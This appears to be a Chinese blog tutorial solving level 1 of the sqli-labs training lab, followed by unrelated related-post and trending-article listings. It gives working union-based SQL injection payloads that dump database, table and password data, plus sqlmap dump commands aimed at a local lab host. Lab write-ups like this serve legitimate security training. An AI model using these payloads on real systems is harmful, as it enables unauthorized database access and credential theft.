快速索引

  • sqli-labs 1-6
    • 第一题
    • 第二题
    • 第三题
    • 第四题
    • 第五题
    • 第六题
    • 1-6题小结
    • 第七题
    • 第八题
    • 第九题
    • 第十题
    • 第十一题
    • 第十二题
    • 第十三题
    • 第十四题
    • 第十五题

#本教程除了讲解sql注入还夹杂了一些私货,是我自己对于渗透以及编程的一些感悟,不一定对,可供参考,不喜勿喷#

sqli-labs 1-6

第一题

#手注#
1 观察题目,界面如下图:
2 根据题中提示,please input the ID,在后面加上?id=1,得到对应结果。
3 尝试添加符号’,得到对应报错结果。
4 因为添加了’就会报错,证明sql语句闭合出现了问题,由于此处是键入id,然后返回用户的login name以及password,此处猜测后台语句为select username,password from users where id = ‘1’,当然,这个猜测需要一定的sql语句基础,这是一个sql的查询语句,那么根据猜测,此处由于有两个回显点,分别是your login name与password,那么可以选用union select来进行注入,此处确定了注入语句。

*此处建议学习sql注入不要一上手就学,而是先去整体的把sql语句过一遍,有个大概印象,脑子里对于知识有一个框架,然后靠着这个大概印象来进行实战,在实战中深化对于语句的理解,遇到不理解的,又回去看sql语句的书,就这样不断循环,反复深化,反复训练,最终提升自己的技巧,形成一个学习闭环。

5 用union select做的第一步判断,就是判断这个表有几个列,此处使用order by语句来进行判断,为什么order by 语句可以来做这个判断,下面插一个小实验来帮助理解。

下面这个表可以看到有5列
order by语句的作用是对某一列语句进行排序,例如:
select * from users order by 5;

上面的order by 5 就是对第五列进行排序,可以看到回显是正常的。
那么ok,再看下一个例子:

这里by 6就返回不正常,为啥呢,因为这个表只有5列,by 6是对第6列进行排序,能正常才怪。
那么回到题目,这里我试一下,构造语句:
?id=1’ order by 3–+
返回正常
返回错误
这里的–+是为了屏蔽后面的’达到闭合语句的效果,–是mysql中的注释符,+是url编码中的空格。
这里order by 3正常,order by 4错误,说明这个表只有三列,因为给第四列排序的时候返回unknow column。
6 使用union select来正式注入,构造语句:
?id=-1’ union select 1,1,1–+
解释:
?id=1 查询正常 ?id=-1查询不正常 这里先记着
union select:联合查询,是在一个表下面接着查,例子:
上面有几列,我就接着上面查,相当于新增一行,然后列数与原表一样
–+:刚讲了 是注释,闭合后面的单引号。
ok,那么现在组合起来理解:
?id=-1’ union select 1,1,1–+
这里还要强调一点,联合查询有个特点,就是前面的语句如果出错,啥也没查到,就只执行后面的语句,这里在id这里写-1就单纯只为了union后面的语句执行。
7 查数据库信息以及版本信息

?id=-1’ union select 1,database(),version()–+
很容易理解,这里就是查当前数据库名和版本名。

8 查所有的数据库名

?id=-1’ union select 1,1,(select group_concat(schema_name) from information_schema.schemata)–+

解释:
group_concat() 把多个表明堆在一个格子里面返回
select schema_name from information_schema.schemata:从特定库里查表,为啥是这个库?
一目了然

9 查当前数据库的表名
?id=-1’ union select 1,1,(select group_concat(table_name) from information_schema.tables where table_schema = database())–+
同理 核心payload就是这段
select group_concat(table_name) from information_schema.tables where table_schema = database()
如果有疑问为什么要这样查,自己去看一下自己mysql的表就清楚了,这是一种学习方法。

10 查某张表的字段名
这里我看users这个字段很可疑,我肯定第一时间就是去查他:
-1’ union select 1,1,(select group_concat(column_name) from information_schema.columns where table_name = ‘users’)–+
11 查具体的字段值
这里我选两个字段来查,username,password,感觉比较关键:
?id=-1’ union select 1,(select group_concat(password) from users),(select group_concat(username) from users)–+

一目了然
本题手注得解。

#sqlmap#
1 直接上号:

2 打开sqlmap
3 输入payload,大喊一声奥里给!
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1”
得到结果
4 库名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” --dbs
5 表名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” -D ‘security’ --tables

6 列名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” -D ‘security’ -T users --columns

7 字段名
sqlmap -u “192.168.0.62/sqli-labs-master/Less-1/?id=1” -D ‘security’ -T users -C password --dump;
得解,直接一把梭,由此可见工具得重要性,在那里注半天注你

sqli-labs注入特色分类教程1-15【手动注入与sqlmap全面双解】相关推荐

  1. php mysql 注入一句话木马_渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  2. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  5. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  6. mock.js教程 2017-02-08 15:02:39| 分类: 浏览器调试|举报|字号 订阅 下载LOFTER我的照片书 | 由于近期项目需求改动比较大,对于数据的频繁

    mock.js教程 2017-02-08 15:02:39|  分类: 浏览器调试|举报|字号 订阅 下载LOFTER我的照片书  | 由于近期项目需求改动比较大,对于数据的频繁更改的问题,我发现了一 ...

  7. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  8. SQLi LABS Less 23 联合注入+报错注入+布尔盲注

    第23关是单引号字符型注入: 过滤了注释,使用闭合引号来绕过: 这篇文章提供联合注入.报错注入.布尔盲注三种解题方式. 一.功能分析 这一关是一个简单的查询功能,在地址栏输入id,后台根据id查询数据 ...

  9. SQLi LABS Less 17 报错注入

    第十七关单引号字符型注入 ,推荐使用报错注入. 一.功能分析 这关是一个修改密码的功能,先查询用户名是否正确. 如果用户名正确,后台就修改密码,并提示修改成功: 如果用户名错误,页面就直接返回修改失败 ...

  10. SQLi LABS Less 15 布尔盲注

    第十五是单引号字符串型注入,推荐使用布尔盲注. 一.功能分析 输入用户名和密码,后台接收参数查询数据库. 如果用户名和密码存在,页面提示登录成功. 如果用户名和密码不存在,页面提示登录失败. 二.思路 ...

最新文章

  1. leetcode-376 摆动序列
  2. 美团分布式ID生成服务LeafCode
  3. ubuntu16.04安装opencv3.4.1教程
  4. 《Linux菜鸟入门》认识linux系统
  5. Maven教程(3)--Maven导入工程常见问题(编码、MavenArchiver、Lifecycle Mapping、maven install 没有反应)...
  6. 顺序循环队列队满队空的两种判别方式
  7. C#开源项目:SiMay远程控制管理系统
  8. Mybatis自学日志03(LOG4J,注解)
  9. 帆软报表判断传入条件是否为空,根据逗号分隔
  10. TwinCAT-C++基础
  11. Django实战【一】—CRM需求分析
  12. 布同:如何循序渐进学习Python语言
  13. uniapp预览pdf安卓打不开,可以直接新建commonwebview来跳转外部链接浏览pdf
  14. 20189221 2018-2019-2 《密码与安全新技术专题》第六周作业
  15. 趣图:程序员的日常工作
  16. Revit“原点”、“中心”、“测量点”在哪里?
  17. OpenSIPS介绍及模块||OpenSIPS介绍_安装_使用
  18. MariaDB GRANT ALL PRIVILEGES Access denied for user
  19. java关于重写正确,在Java中,以下关于方法重载和方法重写描述正确的是( )
  20. java实现录屏软件

热门文章

  1. 滴滴裁员并不代表互联网进入寒冬,只是精细化管理时代到来了
  2. 大数据算法工程师知识点大全
  3. 一个超级棒的 Chrome 翻译插件
  4. 如何在 IDE 中将程序打成 jar 包 Library handing 三种方式讲解 如何编写 MANIFEST.MF
  5. 菜学C++ Day55 OJ题目1151桐桐数
  6. 输入身高体重测身材_身高体重测试(女人标准体重计算器)
  7. 2021.3.30-Robocup 2D学习日志
  8. 台式主机与显示器相连用HDMI还是VGA
  9. ios内存管理(整理篇)
  10. 全网最细海龟 (turtle) 画图讲解 (三):设置画笔样式